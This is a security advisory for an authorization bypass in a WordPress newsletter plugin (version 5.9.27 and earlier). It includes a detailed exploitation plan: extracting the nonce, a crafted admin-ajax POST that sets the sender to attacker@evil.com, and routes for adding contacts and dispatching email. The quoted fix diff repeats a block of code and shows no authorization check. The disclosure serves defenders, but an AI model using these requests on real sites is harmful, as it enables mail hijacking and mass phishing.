Email Subscribers & Newsletters <= 5.9.27 - Missing Authorization to Authenticated (Contributor+) Settings Modification via ig_es_handle_request AJAX Action
Description
The Email Subscribers & Newsletters – Email Marketing, Post Notifications & Newsletter Plugin for WordPress plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.9.27. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to overwrite plugin mail settings (from name and from email address), create audience lists, insert arbitrary contacts into those lists, create and overwrite newsletter broadcasts and post notifications, add workflows, and queue and dispatch mass email to arbitrary recipients.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.9.27What Changed in the Fix
Changes introduced in v5.9.28
Source Code
WordPress.org SVN# Research Plan: CVE-2026-11592 - Missing Authorization in Email Subscribers & Newsletters ## 1. Vulnerability Summary The **Email Subscribers & Newsletters** plugin (up to 5.9.27) contains a missing authorization vulnerability in its central AJAX dispatcher, `ig_es_handle_request`. While the actio…
Show full research plan
Research Plan: CVE-2026-11592 - Missing Authorization in Email Subscribers & Newsletters
1. Vulnerability Summary
The Email Subscribers & Newsletters plugin (up to 5.9.27) contains a missing authorization vulnerability in its central AJAX dispatcher, ig_es_handle_request. While the action is protected by a nonce, it fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user with at least Contributor level access to invoke administrative controllers. These controllers can overwrite global plugin settings (like the "From" name and email), modify audience lists, create campaigns (newsletters), and trigger mass email dispatches.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
ig_es_handle_request - Vulnerable Hook:
wp_ajax_ig_es_handle_request - Required Parameters:
action:ig_es_handle_requestsecurity: A valid WordPress nonce for the actionig-es-admin-ajax-nonce.ig_es_action: The internal route to the controller/method (e.g.,settings/save_settings).params: An array or JSON object containing the data for the specific action.
- Authentication: Authenticated, Contributor role or higher.
- Preconditions: The attacker must be logged in and obtain a nonce from the admin dashboard.
3. Code Flow
- Entry Point: The request hits
admin-ajax.phpwithaction=ig_es_handle_request. - Dispatcher Registration: In
lite/admin/class-email-subscribers-admin.php(or similar initialization files), the actionwp_ajax_ig_es_handle_requestis registered to a handler function (likelyhandle_request). - Nonce Verification: The handler calls
check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' ). This passes because the nonce is exposed to all users allowed in the admin area (including Contributors). - Missing Check: The code proceeds to process
ig_es_actionandparamswithout verifying if the user hasmanage_optionsor similar administrative capabilities. - Routing: The dispatcher parses
ig_es_action(e.g.,settings/save_settings). - Sink: It calls the relevant controller (e.g.,
ES_Settings_Controller::save_settings), which updates the WordPressoptionstable or plugin database tables.
4. Nonce Acquisition Strategy
The nonce is localized for the admin environment. Even if a Contributor cannot access the "Settings" menu, the nonce is often enqueued on the general WordPress Dashboard or can be forced by visiting a plugin-specific URL.
- Login: Log in as a Contributor.
- Navigate: Go to
/wp-admin/admin.php?page=es_campaigns. Even if WordPress shows an "Insufficient Permissions" error, the plugin's scripts are often enqueued because thepageparameter matches the ES namespace. - Extract: Use the browser context to read the
ig_es_js_dataobject.- JS Variable:
window.ig_es_js_data - Nonce Key:
security - Command:
browser_eval("window.ig_es_js_data?.security")
- JS Variable:
5. Exploitation Strategy
We will demonstrate the vulnerability by overwriting the plugin's "From Email" and "From Name" settings.
Step 1: Obtain Nonce
Navigate to the dashboard or an ES page and extract the nonce.
Step 2: Overwrite Settings
Send a POST request to admin-ajax.php.
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=ig_es_handle_request& security=[EXTRACTED_NONCE]& ig_es_action=settings/save_settings& params[options][ig_es_from_name]=Pwned Name& params[options][ig_es_from_email]=attacker@evil.com
Step 3: Create a Malicious List (Alternative)
- ig_es_action:
lists/add_list - params[list][name]:
Attacker List
6. Test Data Setup
- Target Version: Ensure Email Subscribers & Newsletters version is
<= 5.9.27. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Initialize Settings:
wp option update ig_es_from_name "Original Admin" wp option update ig_es_from_email "admin@example.com"
7. Expected Results
- The AJAX response should return a success status (likely
{"success": true, "data": ...}). - The WordPress database will be updated with the attacker-controlled values.
8. Verification Steps
After performing the HTTP request, verify the state change using WP-CLI:
# Verify Name Overwrite
wp option get ig_es_from_name
# Expected: Pwned Name
# Verify Email Overwrite
wp option get ig_es_from_email
# Expected: attacker@evil.com
9. Alternative Approaches
If settings/save_settings is blocked or has additional checks, target the Campaigns or Contacts controllers:
Target: Add a new contact to the "Main" list (ID 1).
- ig_es_action:
contacts/save_contact - params[contact][email]:
victim@target.com - params[contact][first_name]:
Spammed - params[lists][]:
1
- ig_es_action:
Target: Dispatch a test email.
- ig_es_action:
settings/send_test_email - params[test_email]:
attacker@evil.com
- ig_es_action:
Summary
The plugin's central AJAX dispatcher lacks a proper authorization check, allowing any authenticated user with at least Contributor-level permissions to execute administrative controllers. By utilizing a leaked nonce found in the WordPress admin dashboard, attackers can modify global plugin settings, manage subscriber lists, and dispatch mass email campaigns.
Vulnerable Code
// lite/admin/class-email-subscribers-admin.php line 429 wp_localize_script( 'es-shadcn-dashboard', 'icegramExpressAdminData', array( 'apiUrl' => admin_url( 'admin-ajax.php' ), 'baseUrl' => ES_PLUGIN_URL . 'lite/admin/shadcn-frontend/dist/', 'version' => $this->version, 'isRtl' => is_rtl(), 'security' => wp_create_nonce( 'ig-es-admin-ajax-nonce' ), 'plan' => ES()->get_plan(), 'defaultRoute' => $default_route, 'currentUser' => array( 'displayName' => $current_user->display_name, 'firstName' => $current_user->first_name, 'lastName' => $current_user->last_name, 'email' => $current_user->user_email, ),
Security Fix
@@ -3,7 +3,7 @@ * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin * Plugin URI: https://www.icegram.com/ * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published. - * Version: 5.9.27 + * Version: 5.9.28 * Author: Icegram * Author URI: https://www.icegram.com/ * Requires at least: 3.9 @@ -187,7 +187,7 @@ /* ***************************** Initial Compatibility Work (End) ******************* */ if ( ! defined( 'ES_PLUGIN_VERSION' ) ) { - define( 'ES_PLUGIN_VERSION', '5.9.27' ); + define( 'ES_PLUGIN_VERSION', '5.9.28' ); } // Plugin Folder Path. @@ -419,7 +419,20 @@ } } } + + $unsubscribe_feedbacks = array(); + if ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) { + $unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback(); + $unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks(); + } + + $unsubscribe_feedbacks = array(); + if ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) { + $unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback(); + $unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks(); + } + wp_localize_script( 'es-shadcn-dashboard', 'icegramExpressAdminData', array( 'apiUrl' => admin_url( 'admin-ajax.php' ), 'baseUrl' => ES_PLUGIN_URL . 'lite/admin/shadcn-frontend/dist/', @@ -429,6 +442,14 @@ 'security' => wp_create_nonce( 'ig-es-admin-ajax-nonce' ), 'plan' => ES()->get_plan(), 'defaultRoute' => $default_route, + 'campaignStatus' => array( + 'DRAFT' => IG_ES_CAMPAIGN_STATUS_IN_ACTIVE, + 'ACTIVE' => IG_ES_CAMPAIGN_STATUS_ACTIVE, + 'SCHEDULED' => IG_ES_CAMPAIGN_STATUS_SCHEDULED, + 'QUEUED' => IG_ES_CAMPAIGN_STATUS_QUEUED, + 'PAUSED' => IG_ES_CAMPAIGN_STATUS_PAUSED, + 'FINISHED' => IG_ES_CAMPAIGN_STATUS_FINISHED, + ), 'currentUser' => array( 'displayName' => $current_user->display_name, 'firstName' => $current_user->first_name, @@ -450,6 +471,7 @@ 'ig_es_track_utm' => get_option( 'ig_es_track_utm', 'no' ), ), 'pricingBanner' => Email_Subscribers_Pricing::get_pricing_banner_config(), + 'unsubscribeFeedbacks' => $unsubscribe_feedbacks, ) ); wp_register_style( 'es-shadcn-dashboard', plugin_dir_url( __FILE__ ) . 'shadcn-frontend/dist/index.css', array(), $this->version ); wp_enqueue_script( 'es-shadcn-dashboard' );
Exploit Outline
To exploit this vulnerability, an attacker first authenticates with Contributor-level access and retrieves the `ig-es-admin-ajax-nonce` from the `icegramExpressAdminData` object localized in the admin area's JavaScript. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `ig_es_handle_request`. By setting the `ig_es_action` parameter to a sensitive internal route like `settings/save_settings` or `campaigns/save_campaign` and providing a valid nonce, the attacker can bypass capability checks to overwrite plugin settings (e.g., changing the 'From' email address), manipulate audience lists, or trigger email dispatches.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.